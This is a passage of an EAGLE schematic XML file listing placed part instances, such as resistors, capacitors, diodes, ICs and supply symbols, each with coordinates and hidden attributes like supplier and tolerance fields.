y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"40.64\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"40.64\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"40.64\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"40.64\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C1\" gate=\"G$1\" x=\"78.74\" y=\"-139.7\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"78.74\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"79.756\" y=\"-136.525\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"80.01\" y=\"-141.351\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"78.74\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"78.74\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"78.74\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"78.74\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"78.74\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R7\" gate=\"G$1\" x=\"5.08\" y=\"-111.76\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"5.08\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"9.906\" y=\"-108.6866\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"9.652\" y=\"-112.268\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"5.08\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"5.08\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"5.08\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"5.08\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"5.08\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R13\" gate=\"G$1\" x=\"25.4\" y=\"-91.44\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"25.4\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"27.432\" y=\"-87.0966\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"26.924\" y=\"-93.472\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"25.4\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"25.4\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"25.4\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"25.4\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"25.4\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R14\" gate=\"G$1\" x=\"68.58\" y=\"-91.44\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"68.58\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"70.612\" y=\"-87.0966\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"70.612\" y=\"-93.472\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"68.58\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"68.58\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"68.58\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"68.58\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"68.58\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R15\" gate=\"G$1\" x=\"88.9\" y=\"-76.2\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"88.9\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"91.186\" y=\"-72.6186\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"91.948\" y=\"-78.232\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"88.9\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"88.9\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"88.9\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"88.9\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"88.9\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R10\" gate=\"G$1\" x=\"76.2\" y=\"-111.76\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"76.2\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"79.7814\" y=\"-113.538\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"74.676\" y=\"-114.046\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" x=\"76.2\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"76.2\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"76.2\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"76.2\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"76.2\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n</instance>\n<instance part=\"R1\" gate=\"G$1\" x=\"68.58\" y=\"-139.7\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"68.58\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"64.262\" y=\"-138.7094\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"60.706\" y=\"-141.986\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"68.58\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"68.58\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"68.58\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"68.58\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"68.58\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R8\" gate=\"G$1\" x=\"68.58\" y=\"-111.76\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"68.58\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"61.976\" y=\"-111.5314\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"60.96\" y=\"-114.3\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"68.58\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"68.58\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"68.58\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"68.58\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"68.58\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP11\" gate=\"G$1\" x=\"-124.46\" y=\"-76.2\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"-124.46\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"VALUE\" x=\"-127\" y=\"-81.28\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"NAME\" x=\"-127\" y=\"-83.058\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-124.46\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-124.46\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-124.46\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-124.46\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-124.46\" y=\"-76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"P+1\" gate=\"1\" x=\"33.02\" y=\"238.76\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"35.56\" y=\"241.808\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"P+2\" gate=\"VCC\" x=\"68.58\" y=\"-101.346\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"67.564\" y=\"-101.346\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"C3\" gate=\"G$1\" x=\"256.54\" y=\"-139.7\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"256.54\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"258.064\" y=\"-136.779\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"258.064\" y=\"-141.859\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"256.54\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"256.54\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"256.54\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"256.54\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"256.54\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R11\" gate=\"G$1\" x=\"236.22\" y=\"-101.6\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"236.22\" y=\"-101.6\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"239.014\" y=\"-100.6094\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"237.744\" y=\"-103.632\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"236.22\" y=\"-101.6\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"236.22\" y=\"-101.6\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"236.22\" y=\"-101.6\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"236.22\" y=\"-101.6\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"236.22\" y=\"-101.6\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"SUPPLY5\" gate=\"1\" x=\"228.6\" y=\"-147.32\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"226.695\" y=\"-150.495\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"U3\" gate=\"G$1\" x=\"353.06\" y=\"-109.22\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"355.092\" y=\"-110.109\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"355.6\" y=\"-117.602\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"PARTNO\" x=\"353.06\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"353.06\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"353.06\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"353.06\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"353.06\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"353.06\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"P+4\" gate=\"1\" x=\"350.52\" y=\"-91.44\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"353.568\" y=\"-90.424\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"C27\" gate=\"G$1\" x=\"33.02\" y=\"223.52\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"33.02\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"34.29\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"33.782\" y=\"219.329\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"33.02\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"33.02\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"33.02\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"33.02\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"33.02\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C28\" gate=\"G$1\" x=\"45.72\" y=\"223.52\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"45.72\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"46.99\" y=\"223.647\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"46.736\" y=\"219.583\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"45.72\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"45.72\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"45.72\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"45.72\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"45.72\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C25\" gate=\"G$1\" x=\"58.42\" y=\"220.98\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"58.42\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"64.262\" y=\"225.679\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"65.786\" y=\"220.853\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"58.42\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"58.42\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"58.42\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"58.42\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"58.42\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C5\" gate=\"G$1\" x=\"-99.06\" y=\"-111.76\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"PARTNO\" x=\"-99.06\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-100.584\" y=\"-108.839\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-100.584\" y=\"-113.919\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-99.06\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-99.06\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-99.06\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-99.06\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-99.06\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"U2\" gate=\"A\" x=\"307.34\" y=\"-109.22\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"307.34\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"306.0446\" y=\"-113.8174\" size=\"2.0828\" layer=\"95\" ratio=\"10\" rot=\"SR0\"/>\n<attribute name=\"VALUE\" x=\"293.4208\" y=\"-128.7018\" size=\"2.0828\" layer=\"96\" ratio=\"10\" rot=\"SR0\"/>\n<attribute name=\"FARNELL\" x=\"307.34\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"307.34\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"307.34\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"307.34\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"307.34\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"5V0\" gate=\"1\" x=\"289.56\" y=\"-96.012\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"296.672\" y=\"-96.012\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"U4\" gate=\"A\" x=\"88.9\" y=\"-88.9\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"88.9\" y=\"-88.9\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"87.63\" y=\"-94.361\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"84.074\" y=\"-98.044\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"88.9\" y=\"-88.9\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"88.9\" y=\"-88.9\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"88.9\" y=\"-88.9\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"88.9\" y=\"-88.9\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"88.9\" y=\"-88.9\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"U4\" gate=\"B\" x=\"119.38\" y=\"-185.42\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"117.856\" y=\"-191.389\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"115.062\" y=\"-194.564\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"U4\" gate=\"C\" x=\"271.78\" y=\"-81.28\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"271.78\" y=\"-86.741\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"267.462\" y=\"-89.916\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"U4\" gate=\"D\" x=\"271.78\" y=\"-129.54\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"272.542\" y=\"-134.493\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"267.462\" y=\"-138.176\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"U4\" gate=\"P\" x=\"17.78\" y=\"223.52\" smashed=\"yes\"/>\n<instance part=\"D2\" gate=\"G$1\" x=\"-12.7\" y=\"-91.44\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"-12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-10.414\" y=\"-93.4466\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"-4.318\" y=\"-87.3506\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"-12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"D1\" gate=\"G$1\" x=\"-109.22\" y=\"-96.52\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"-109.22\" y=\"-96.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"-109.22\" y=\"-96.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-109.22\" y=\"-96.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-109.22\" y=\"-96.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-109.22\" y=\"-96.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-109.22\" y=\"-96.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-103.632\" y=\"-93.1926\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"-106.934\" y=\"-98.3234\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"C2\" gate=\"G$1\" x=\"109.22\" y=\"-139.7\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"109.22\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"110.744\" y=\"-136.779\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"110.744\" y=\"-141.859\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"109.22\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"109.22\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"109.22\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"109.22\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"109.22\" y=\"-139.7\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R12\" gate=\"G$1\" x=\"127\" y=\"-99.06\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"127\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"128.524\" y=\"-98.3234\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"128.016\" y=\"-101.346\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"127\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"127\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"127\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"127\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"127\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"5V\" gate=\"1\" x=\"195.58\" y=\"-91.44\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"197.866\" y=\"-88.138\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"U1\" gate=\"A\" x=\"195.58\" y=\"-114.3\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"195.58\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"195.072\" y=\"-111.6838\" size=\"2.0828\" layer=\"95\" ratio=\"10\" rot=\"SR0\"/>\n<attribute name=\"VALUE\" x=\"182.6006\" y=\"-138.1506\" size=\"2.0828\" layer=\"96\" ratio=\"10\" rot=\"SR0\"/>\n<attribute name=\"FARNELL\" x=\"195.58\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"195.58\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"195.58\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"195.58\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"195.58\" y=\"-114.3\" size=\"1.778\" layer=\"96\" 